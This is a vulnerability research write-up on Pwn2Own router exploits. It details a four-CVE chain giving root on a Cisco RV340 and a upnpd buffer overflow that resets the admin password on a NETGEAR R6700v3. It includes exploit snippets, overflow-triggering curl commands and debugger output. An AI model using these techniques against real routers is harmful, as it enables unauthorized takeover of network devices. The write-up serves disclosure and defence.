Pwning a Cisco RV340 with a 4 bug chain exploit

Four vulnerabilities were identified and used to successfully exploit a Cisco RV340 on the Local Area Network (LAN) side of the router during the Austin pwn2own competition in November 2021. The vulnerabilities for CVE-2022-20705 and CVE-2022-20707 were found by multiple entrants, including us, while CVE-2022-20700 and CVE-2022-20712 were unique to our entry. The vulnerabilities used are as follows:


  • CVE-2022-20705 - Improper Session Management Vulnerability
  • CVE-2022-20707 - Command Injection Vulnerabilities
  • CVE-2022-20700 - Privilege Escalation Vulnerabilities
  • CVE-2022-20712 - Upload Module Remote Code Execution Vulnerability


The following 9 models of Cisco devices are effected by both CVE-2022-20700 and CVE-2022-20705: RV160, RV160W, RV260, RV260P, RV260W, RV340, RV340W, RV345 and RV345P. The following 4 models of Cisco devices are effected by both CVE-2022-20707 and CVE-2022-20712: RV340, RV340W, RV345 and RV345P. More details can be found in the Cisco advisory.


This blog post details the vulnerabilities as used during pwn2own against a vulnerable Cisco RV340 device.



Introduction


By chaining several vulnerabilities, we can exploit a Cisco RV340 to achieve remote root privileges on the LAN side. We target the web server which provides the administration portal, it runs via a NGINX server listening on port 80 for HTTP and port 443 for HTTPS connections. We leverage an authentication bypass vulnerability and a logic issue to reach a command injection vulnerability. The webserver runs as user www-data, so we also chain an elevation of privilege vulnerability to elevate from www-data to root privileges. 


To follow along with this report you can download the firmware image RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img from the Cisco website. The firmware file format is a u-boot legacy uImage and can be extracted on a Linux machine using the dumpimage tool from the u-boot-tools package. Contained in the image is a UBIFS filesystem that can be extracted using the ubidump tool. Running the following commands will extract the required files from the firmware:


dumpimage RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img
dumpimage RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img -o rv340-v1.0.03.22.tar.gz
tar -xzf rv340-v1.0.03.22.tar.gz
tar -xzf fw.gz
ubidump --savedir . openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

A folder “rootfs” will be created which contains the files described in this report.


Improper Session Management (CVE-2022-20705)


The command injection vulnerability lies in the handler for the /upload uniform resource identifier (URI). This handler is located in the /www/cgi-bin/upload.cgi binary. To successfully reach the vulnerable code in the upload handler we must first bypass an attempt at access control as highlighted in yellow, implemented via the NGINX configuration file /etc/nginx/conf.d/web.upload.conf, shown below.

location /upload {
set $deny 1;

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}

As shown in the highlighted code above, a session id value (originally generated server side after a client has successfully authenticated itself) is retrieved from a cookie that was passed in via the request. This session id value is used to construct a path to test if a valid session file is present before the request is allowed. If a valid session file is not found, the request is denied via a 403 forbidden response.  NGINX is responsible for parsing the HTTP cookies and generating the $cookie_sessionid variable via src/http/ngx_http_variables.c!ngx_http_variable_cookie. As such, no filtering or validation is performed on this session id cookie value, allowing an attacker to pass an arbitrary path as a session id value and this path can resolve to a valid file allowing the check to be satisfied, even though the valid file may not be an actual session file. For example, if we pass the value “../../../etc/firmware_version” as the sessionid this check will be passed and we may now call the /upload CGI handler. Of note is the fact that the directory /tmp/websession/token/ will not be present by default upon booting the device and is only created the first time a user is successfully logged in. To overcome this an attacker may perform a successful login via a built-in guest account which has both a username and password of “guest”. Performing this guest login will create the websession directory, but a guest account cannot access the web ui so no session will be created. For this reason, we cannot use the guest session to target the /upload URI and instead use the authentication bypass described here.

We can now call the /upload handler in the /www/cgi-bin/upload.cgi binary. The main function of this binary will extract the session id from the HTTP cookie and perform some basic sanity checking of the characters to ensure the session id only contains letters, numbers, and several allowed characters via a regex "^[A-Za-z0-9+=/]*$" as highlighted in purple below, it will then call the vulnerable function at relative virtual address (RVA) 0x2684 as highlighted in yellow

            v16 = strcmp_1(REQUEST_URI, "/api/operations/ciscosb-file:form-file-upload");

            if (v16 != 0) {

                v17 = strcmp_1(REQUEST_URI, "/upload");

                if (v17 == 0 && HTTP_COOKIE != 0) { // if the URI is /upload and we have a sessionid in the cookie

                    v18 = strlen_1(HTTP_COOKIE);

                    if (v18 < 81) { // sanity check sessionid characters

                        v19 = match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE);

                        if (v19 == 0) {

                            v20 = StrBufToStr(local_0x44);

                            func_0x2684(HTTP_COOKIE, content_destination, content_option, content_pathparam, v20, content_cert_name, content_cert_type, content_password);

                        }

                    }

                }

            }


However, as we need to pass in the dot character as part of the authentication bypass, we will not pass this regular expression check. Fortunately, the logic that extracts the session id does not account for multiple session id values being passed in a HTTP cookie, while NGINX will use the first occurrence of a session id value in the HTTP requests cookie, the upload.cgi binary prior to the regex check, will iterate over the HTTP cookie and use the last session id value it finds and not the first. We can see below the while loop does not break after it identifies the first occurrence of a session id as highlighted in yellow.

    if (HTTP_COOKIE != 0) { // if an cookie is available

        StrBufSetStr(cookie_str, HTTP_COOKIE);

        __s2 = StrBufToStr(cookie_str);

        next_semicolon = strtok_r(__s2, ";", &saveptr); // start to split the semicolon deliminated cookie

        HTTP_COOKIE = 0; // this variable will become the sessionid string

        while (next_semicolon != 0) {

            sessionid = strstr(next_semicolon, "sessionid=");

            if (sessionid != 0) { // advance past "sessionid=" and set the value

 

                HTTP_COOKIE = sessionid + 10; // advance past "sessionid=" and set the value

 

            }

            next_semicolon = strtok_r(0, ";", &saveptr); // keep searching

        }

    }


This allows an attacker to provide two session id values in a HTTP cookie. The first sessionid value as part of the authentication bypass and a second sessionid value which contains valid characters but itself does not need to represent a valid session. This second sessionid will be used by upload.cgi.

Command Injection (CVE-2022-20707)


The vulnerable function at RVA 0x2684 in upload.cgi takes several parameters which originate from the attacker’s HTTP POST request. These parameters are multipart form fields which are used to configure the upload operation and are retrieved as shown below:

    // upload.cgi!main+0x164

    jsonutil_get_string(data_0x13248 + 0x4, &content_file_param, "\"file.path\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_filename, "\"filename\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_pathparam, "\"pathparam\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_fileparam, "\"fileparam\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_destination, "\"destination\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_option, "\"option\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_cert_name, "\"cert_name\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_cert_type, "\"cert_type\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_password, "\"password\"", -1);


The vulnerable function will create a json object to represent these input parameters based on the upload type specified in the pathparam field; such as Configuration, Firmware, Certificate, 3g-4g-driver or User. For example, a 3g-4g-driver upload will create the following json object with an attacker supplied fileparam, option and destination field:

int __cdecl func_0x2104(int content_destination, int content_fileparam, int content_option)

{

    // ...

        StrBufSetStr(v8, "FILE://3g-4g-driver/");

        StrBufAppendStr(v8, content_fileparam);

        v9 = json_object_new_string("2.0");

        json_object_object_add(json_obj1, "jsonrpc", v9);

        v10 = json_object_new_string("action");

        json_object_object_add(json_obj1, "method", v10);

        json_object_object_add(json_obj1, "params", json_obj3);

        v11 = json_object_new_string("file-copy");

        json_object_object_add(json_obj3, &string_jsonrpc + 0x4, v11);

        json_object_object_add(json_obj3, "input", json_obj2);

        v12 = json_object_new_string("3g-4g-driver");

        json_object_object_add(json_obj2, "fileType", v12);

        json_object_object_add(json_obj2, "source", json_obj4);

        v13 = StrBufToStr(v8);

        v14 = json_object_new_string(v13);

        json_object_object_add(json_obj4, "location-url", v14);

        json_object_object_add(json_obj2, "destination", json_obj5);

        v15 = json_object_new_string(content_destination);

        json_object_object_add(json_obj5, "firmware-state", v15);

        json_object_object_add(json_obj2, "firmware-option", json_obj6);

        v16 = json_object_new_string(content_option);

        json_object_object_add(json_obj6, "reboot-type", v16);


This json object is then converted into a string representation and a curl command is performed via popen to perform the upload operation. 

    if (json_obj != 0) {

        json_str = json_object_to_json_string(json_obj);

        sprintf(&buff, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'", v3, sessionid, json_str);

        debug("curl_cmd=%s", &buff);

        __stream = popen(&buff, "r");

        if (__stream != 0) {

            fread_1(&buff[2048], 2048, 1, __stream);

            fclose_1(__stream);

        }


The function json_object_to_json_string is from the shared object /usr/lib/libjson-c.so.2.0.1. This function fails to escape single quotes in a json value. This allows us to include a single quote in one of the input parameters for the json object, and as such we can perform a command injection attack in the constructed curl command, as highlighted in yellow above.  Commands are run with the privileges of the www-data user.

Of note is the presence of a stack-based buffer overflow vulnerability in the unsafe sprintf call. The buffer written to is 2040 bytes in size, if we pass in an attacker-controlled form field large enough, we can overflow the buffer on the stack. As it is easier and more reliable to leverage a command injection vulnerability, we will not exploit the stack-based buffer overflow.

Privilege Escalation (CVE-2022-20700)


To execute arbitrary code with root privileges we can leverage the command injection vulnerability to forge an admin session and then use this session to upload a 3g-4g-driver archive which will contain an attacker-controlled shell script that will be executed with root privileges.

To forge an admin session, we write a json object that describes the session to the /tmp/websession/session file. This is the file that will be queried when a session id is validated by the router. We must also create an empty file whose name is that of a valid session id value. A valid session id is a base64 encoded string comprising of the username, IP address of the client and a timestamp. Our exploit will generate the admin session as follows:

            fake_username = "sf"

 

            admin_sessionid = Base64.encode64("#{fake_username}/#{http.local_address}/#{uptime_seconds}").gsub("\n", "")

 

            websessions = % Q[{

            "max-count":1,

                "#{fake_username}" : {

                "#{admin_sessionid}":{

                    "user":"#{fake_username}",

                        "group" : "admin",

                        "time"#{uptime_seconds},

                        "access" : 1,

                        "timeout" : 1800,

                        "leasetime" : 0

                }

            }

        }]

 

            websessions.gsub!("\n", "\\n")

 

            result = cisco_rv340_wwwdata_command_injection(http, "echo -n -e #{websessions} > /tmp/websession/session; echo -n 1")

 

            if (result.nil ? or result.to_i != 1)

                $stdout.puts("[-] Failed create /tmp/websession/session") if @verbose

                return nil

            end

 

            result = cisco_rv340_wwwdata_command_injection(http, "touch /tmp/websession/token/#{admin_sessionid}; echo -n 1")



Upload Module Remote Code Execution (CVE-2022-20712)


We now have a session id for an admin session, and we can now successfully upload a 3g-4g-driver to the router by performing a valid HTTP POST request to the /upload and /jsonrpc URI endpoints with our forged admin session id. The uploaded driver is expected to be in the form a tar.gz file. The script /usr/bin/file-copy will handle the upload as shown below:

            INSTALL_USB_DRIVERS = "sh /usr/bin/install_usb_drivers"

            # ...

            # Download drivers from PC case           

            if["$filetype" = "3g-4g-driver"]; then

                checkPC = `echo $source_location_url | grep "$FILE_DRIVER"`

                if[-n "$checkPC"]; then

                    orig_filename = `basename $source_location_url`

                    # We assume that web server will put the file to correct location before calling this RPC

                    if[-e "$DRIVER_DL_PATH/$orig_filename"]; then

                        `$INSTALL_USB_DRIVERS $DRIVER_DL_PATH / $orig_filename 2 > / dev / null 1 > / dev / null`

                        errcode = $ ?


We can see file-copy will call /usr/bin/install_usb_drivers and pass in the path of the uploaded driver file. The install_usb_drivers script is as follows:

#!/bin/sh                                                 

 

DRIVER_FILE = `basename $1`

DRIVER_FILE_DIR = `dirname $1`

DOWN_DIR = "/tmp/"

INSTALL_STATUS = 0

ASDSTATUS = "/tmp/asdclientstatus"

 

if["$DRIVER_FILE_DIR" != "."]; then

    #Absolute path

    if["$DRIVER_FILE_DIR" != "/tmp"]; then

        `cp - f $1 $DOWN_DIR`> /dev/null 2 > &1

    fi

fi

 

DRIVER_DIR = "/tmp/driver"

mkdir - p $DRIVER_DIR

 

# Extract the file

tar - xzf $DOWN_DIR$DRIVER_FILE - C $DRIVER_DIR

if["$?" - eq 0]; then

    # Install the driver

    `/${DRIVER_DIR}/sbin/usb-modem install` > /dev/null 2 > &1

    INSTALL_STATUS = "$?"

else

    INSTALL_STATUS = 1

fi

 

rm - rf "$DOWN_DIR/$DRIVER_FILE"

rm - rf "$DRIVER_DIR"

 

echo $INSTALL_STATUS > $ASDSTATUS

exit $INSTALL_STATUS


Highlighted in yellow above we can see the driver tar.gz file is extracted into a folder /tmp/driver/. We can then see, as highlighted in purple, a file contained within the extracted driver is then executed. An attacker can supply the file usb-modem in the driver tar.gz file and as such execute arbitrary commands with root privileges.


CVE-2022-27643 - NETGEAR R6700v3 upnpd Buffer Overflow Remote Code Execution Vulnerability

A remote pre-authentication buffer overflow vulnerability was identified in the Universal Plug and Play daemon (upnpd) shipped and enabled by default in multiple NETGEAR products. This vulnerability was used to successfully exploit a NETGEAR R6700v3 on the Local Area Network (LAN) side of the router during the Austin pwn2own competition in November 2021.


The following 22 models of NETGEAR devices are affected: D6220, D6400, D7000v2, EX3700, EX3800, EX6120, EX6130, R7100LG, R6400, R6400v2, R6700v3, R6900P, R7000, R7000P, R7850, R8000, R8500, RS400, WNDR3400v3, WNR3500Lv2, XR300, DC112A. More details can be found in both the NETGEAR advisory and the Zero Day Initiative advisory.


This blog post details both the vulnerability and exploitation technique as used during pwn2own against a vulnerable R6700v3 device. 


Introduction

To follow along with this report you can download the firmware image R6700v3-V1.0.4.120_10.0.91.zip from the Netgear website. The firmware image holds a Squashfs filesystem which can be extracted using binwalk by running the following commands:


unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk


A folder “squashfs-root” will be created which contains the files described in this report.

To assist in the debugging of the exploit, we will copy a statically linked GDB server onto a USB memory stick which is inserted into the R6700v3 device. We can establish a telnet session to the target device using the telnetenable.py script and attach the GDB server to the target upnpd process, e.g.


# /tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach 192.168.1.1:4444 PID_OF_UPNPD


We can then connect to this remote GDB server from our development machine as follows:


$ gdb-multiarch ./squashfs-root/usr/sbin/upnpd
(gdb) target remote 192.168.1.1:4444


The Vulnerability

The /usr/sbin/upnpd binary will listen on TCP port 5000 for HTTP requests and TCP port 5555 for HTTPS requests. A POST request to the /soap/server_sa endpoint will be handled by the function at virtual address (VA) 0x0003C784. If this POST request contains a SOAPAction header with the value "urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate" the contents of the POST request, which is expected to be in XML format, will be parsed in an unsafe manor as show below.


request_soapaction = stristr(buffer, "SOAPAction:"); // ... v71 = stristr(request_soapaction + 11, "NewMACAddress"); if (v71 != 0) { v72 = stristr(request_soapaction + 11, "NewMACAddress xsi:type=\"xsd:string\">"); if (v72 == 0) { begin = v71 + 14; } else { begin = v71 + 36; } strncpy(&GLOBAL_NewMACAddress, "", 19); end = stristr(request_soapaction + 11, "</NewMACAddress>"); if (end != 0) { strncpy(&GLOBAL_NewMACAddress, "", 19); strncpy(&GLOBAL_NewMACAddress, begin, end - begin); GLOBAL_NewMACAddress[end - begin] = 0; log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress); }

We can see from the above code highlighted in yellow, that if a NewMACAddress XML tag is found, a call to strncpy will be performed to copy the contents of the NewMACAddress value to a static buffer. The logic of the call to strncpy is wrong, as the length value supplied to strncpy is the length of the attacker supplied source string and not the length of the destination static buffer, which is only 20 bytes. Therefore, if an attacker supplies a NewMACAddress value greater than 20 bytes they can overflow the static buffer and write attacker-controlled data into adjacent memory. Examining the location of the variable GLOBAL_NewMACAddress, highlighted in yellow below, we can see this variable is held in the upnpd binaries .bss section. Therefore, we can overwrite adjacent variables in the .bss section as well as the memory adjacent to the .bss section if it is mapped into the address space as writable.


.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??)

Of note is the adjacent variable GLOBAL_new_http_passwd, highlighted in pink above. We will leverage this during exploitation.


Exploitation

The R6700v3 device is running a Linux kernel version 2.6.36.4 on ARM. The kernel is configured with randomize_va_space = 1, which randomizes the processes stack and shared libraries but not the main binary or the process heap. The upnpd binary is not built as a position independent executable (PIE). This results in the .bss section being at a fixed address in memory and directly adjacent to the .bss section is the process heap which services allocations from calls to malloc.


The strategy for exploitation will be as follows.


1. Leverage the overflow to target a function pointer in heap memory and overwrite the function pointer with an attacker-controlled value.


2. Leverage the overflow a second time to overflow a variable in the .bss section that holds the value of a password which will be set to the nvram http_passwd entry.


3. Force the upnpd service to call the overflowed function pointer and redirect the flow of execution to a sequence of instructions that will set the nvram http_passwd.


4. With the http_passwd set to an attacker-controlled value, we can log into the admin portal and take full control of the device.


Program Counter Control

As the process heap is directly adjacent to the upnpd image in memory and the heap will not be randomized, we can make some assumptions regarding the layout of the heap. We can rely on many of the early allocations serviced by malloc as having the same address in the processes address space. These allocations occur before the upnpd accepts external network traffic and as such will always be performed in the same order. Of interest to us is how the upnp binary initializes the OpenSSL library (Version 1.0.2h). The upnpd main() function will call a function at VA 0x00025034 to initialize SSL and this will perform a call to SSL_load_error_strings(). This call will perform many heap allocations to generate a hash map of strings that will later be used for generating human readable error strings. A core data structure in this is the _LHASH struct which contains a function pointer “hash” as highlighted in red below.


typedef struct lhash_st { LHASH_NODE** b; LHASH_COMP_FN_TYPE comp; LHASH_HASH_FN_TYPE hash; unsigned int num_nodes; unsigned int num_alloc_nodes; unsigned int p; unsigned int pmax; unsigned long up_load; /* load times 256 */ unsigned long down_load; /* load times 256 */ unsigned long num_items; unsigned long num_expands; unsigned long num_expand_reallocs; unsigned long num_contracts; unsigned long num_contract_reallocs; unsigned long num_hash_calls; unsigned long num_comp_calls; unsigned long num_insert; unsigned long num_replace; unsigned long num_delete; unsigned long num_no_delete; unsigned long num_retrieve; unsigned long num_retrieve_miss; unsigned long num_hash_comps; int error; } _LHASH;


With some debugging we can discover a _LHASH structure will always be allocated in the heap at a fixed offset of 7500 from the start of the upnpd binaries GLOBAL_NewMACAddress variable in the .bss section. We can therefor leverage the overflow to reliably overwrite this hash function pointer. The next challenge is to discover how we trigger a call to the overwritten function pointer, if we review the OpenSSL source we can see ERR_print_errors_fp will call ERR_print_errors_cb, which will call ERR_error_string_n, which will call ERR_lib_error_string, which will call int_err_get_item, which will call lh_ERR_STRING_DATA_retrieve, which is a macro for lh_retrieve, which calls getrn, which (finally!) calls the hash function pointer from a _LHASH structure on the heap.


// .\openssl-1.0.2h\crypto\err\err_prn.c void ERR_print_errors_fp(FILE* fp) { ERR_print_errors_cb(print_fp, fp); }
void ERR_print_errors_cb(int (*cb) (const char* str, size_t len, void* u), void* u) { unsigned long l; char buf[256]; char buf2[4096]; const char* file, * data; int line, flags; unsigned long es; CRYPTO_THREADID cur; CRYPTO_THREADID_current(&cur); es = CRYPTO_THREADID_hash(&cur); while ((l = ERR_get_error_line_data(&file, &line, &data, &flags)) != 0) { ERR_error_string_n(l, buf, sizeof buf); BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf, file, line, (flags & ERR_TXT_STRING) ? data : ""); if (cb(buf2, strlen(buf2), u) <= 0) break; /* abort outputting the error report */ } }
//\openssl - 1.0.2h\crypto\err\err.c void ERR_error_string_n(unsigned long e, char* buf, size_t len) { char lsbuf[64], fsbuf[64], rsbuf[64]; const char* ls, * fs, * rs; unsigned long l, f, r; l = ERR_GET_LIB(e); f = ERR_GET_FUNC(e); r = ERR_GET_REASON(e); ls = ERR_lib_error_string(e); // ... }
const char* ERR_lib_error_string(unsigned long e) { ERR_STRING_DATA d, * p; unsigned long l; err_fns_check(); l = ERR_GET_LIB(e); d.error = ERR_PACK(l, 0, 0); p = ERRFN(err_get_item) (&d);// int_err_get_item return ((p == NULL) ? NULL : p->string); }
static ERR_STRING_DATA * int_err_get_item(const ERR_STRING_DATA * d) { ERR_STRING_DATA* p; LHASH_OF(ERR_STRING_DATA)* hash; err_fns_check(); hash = ERRFN(err_get) (0); if (!hash) return NULL; CRYPTO_r_lock(CRYPTO_LOCK_ERR); p = lh_ERR_STRING_DATA_retrieve(hash, d); CRYPTO_r_unlock(CRYPTO_LOCK_ERR); return p; }
#define lh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst) #define LHM_lh_retrieve(type, lh, inst) \ ((type *)lh_retrieve(CHECKED_LHASH_OF(type, lh), \ CHECKED_PTR_OF(type, inst)))
// .\openssl-1.0.2h\crypto\lhash\lhash.c:241 void* lh_retrieve(_LHASH * lh, const void* data) { unsigned long hash; LHASH_NODE** rn; void* ret; lh->error = 0; rn = getrn(lh, data, &hash); if (*rn == NULL) { lh->num_retrieve_miss++; return (NULL); } else { ret = (*rn)->data; lh->num_retrieve++; } return (ret); } // .\openssl-1.0.2h\crypto\lhash\lhash.c:390 static LHASH_NODE** getrn(_LHASH* lh, const void* data, unsigned long* rhash) { LHASH_NODE** ret, * n1; unsigned long hash, nn; LHASH_COMP_FN_TYPE cf; hash = (*(lh->hash))(data);


With a path to triggering the overwritten hash function pointer, we can see from the upnpd binary that a call to ERR_print_errors_fp exists in upnpd!upnp_main when a HTTPS connection to port 5555 fails to establish the TLS/SSL handshake from the client during SSL_accept.


// upnpd!func_0x1B630+0x400 log(2, "%s(%d): port=%d\r\n", "upnp_main", 1083, 5555); client_socket = accept(data_0x66B24 + 0x8, &local_0x50, &local_0x30); if (client_socket < 0) { log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n", "upnp_main", 1087, 5555); // ... } else { ssl = SSL_new(data_0x9090C); data_0x90910 = ssl; SSL_set_fd(ssl, client_socket); log(2, "%s(%d)before ssl accept, acceptfd is %d \n", "upnp_main", 1093, client_socket); res = SSL_accept(data_0x90910); SSL_get_error(data_0x90910, res); if (res == 0 || res < 0) { ERR_print_errors_fp(__bss_start__);


We can therefore perform an invalid HTTPS connection to TCP port 5555 after we perform the overflow to gain control of the processes program counter (PC) register. To demonstrate this, we can issue the following two curl commands, the first to perform the overflow and the second to trigger a call to the overwritten function pointer and gain PC control.


curl http://192.168.1.1:5000/soap/server_sa -X POST -H "SOAPAction: \"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\"" --data "<NewMACAddress>$(printf 'A%.0s' {1..7500})BBBBCCCCDDDD</NewMACAddress>"

curl http://192.168.1.1:5555/


If we have GDB attached, we can see the following, the four D characters from the overflow are highlighted in yellow.


Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0     0xbed5ca78 3201682040
r1     0xbed5ca78 3201682040
r2     0x0        0
r3     0x44444444 1145324612
r4     0x40312e58 1076964952
r5     0xdcd58    904536
r6     0x6b0c     27404
r7     0xbed5ca78 3201682040
r8     0xbed5ca78 3201682040
r9     0x100      256
r10    0xbed5dcb8 3201686712
r11    0x402811a0 1076367776
r12    0x0        0
sp     0xbed5ca40 0xbed5ca40
lr     0x4027c74c 1076348748
pc     0x44444444 0x44444444
cpsr   0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x44444444 0x00000500
0xdcd68: 0x00000800 0x00000137 0x00000400 0x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
0x4027c72c: mov r2, #0
0x4027c730: push {r3, r4, r5, r6, r7, r8, r10, lr}
0x4027c734: mov r5, r0
0x4027c738: ldr r3, [r0, #8]
0x4027c73c: mov r8, r1
0x4027c740: str r2, [r0, #92] ; 0x5c
0x4027c744: mov r0, r1
0x4027c748: blx r3


If we investigate the address in the back trace which transfers control to our attacker-controlled value, via a “blx r3” instruction, we can verify this originates from /lib/libcrypto.so.1.0.0!lh_retrieve (The compiler must have chosen to inline getrn).


Target Function Gadget

Now we can control the flow of execution we must choose what to do with this. As the GLOBAL_NewMACAddress variable we overflow is adjacent to a variable (Which we will call GLOBAL_new_http_passwd) used to change the password of the http admin, we will investigate this further. We can see below in yellow, that upnpd!func_0x289C8+0x10 will use the GLOBAL_new_http_passwd variable to set the http_passwd in the routers nvram configuration via a call to acosNvramConfig_set.


// upnpd!func_0x289C8+0x10 if (p1 < 7) { if (p1 == 1) { acosNvramConfig_get("http_passwd"); log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2); v1 = strcmp(&data_0xDA318, __s2); if (v1 != 0) { log(3, "%s:%d\n", "sa_updateAdminPassword", 8832); return 20001; } log(3, "%s:%d\n", "sa_updateAdminPassword", 8829); acosNvramConfig_set("http_passwd", &GLOBAL_new_http_passwd); return 0; }


We can examine the disassembly of the call which begins at VA 0x00028A74. The two parameters are set in the registers r0 and r1 before a call to acosNvramConfig_set is performed.


 .text:0x00028A74 4C019FE5    ldr r0, [data_0x28BC8] ; "http_passwd"
 .text:0x00028A78 5C119FE5    ldr r1, [data_0x28BDC] ; GLOBAL_new_http_passwd
 .text:0x00028A7C CB8AFFEB    bl acosNvramConfig_set

 

If we use the overflow vulnerability to overwrite the target _LHASH::hash function pointer with a value of 0x00028A74 (upnpd is not built with PIE so this address is fixed) and then use the overflow vulnerability a second time to overwrite the value of GLOBAL_new_http_passwd with a password value of the attackers choosing, we can redirect the flow of execution to change the password by performing an invalid HTTP connection to TCP port 5555. We can rely on the vulnerable function at upnpd!func_0x3C784 to null terminate the GLOBAL_NewMACAddress variable during the overflow which allows us to write a value that contains a null byte. (We can note that the 0x00028A74 address we want to write contains a null byte and on a little endian device this will be the null terminator charachter that is written).


Setting the http_passwd to an attacker controlled value allows us to log into the routers web interface. At this point we have full control of the device, and can leverage telnetenable.py to gain a root shell if required.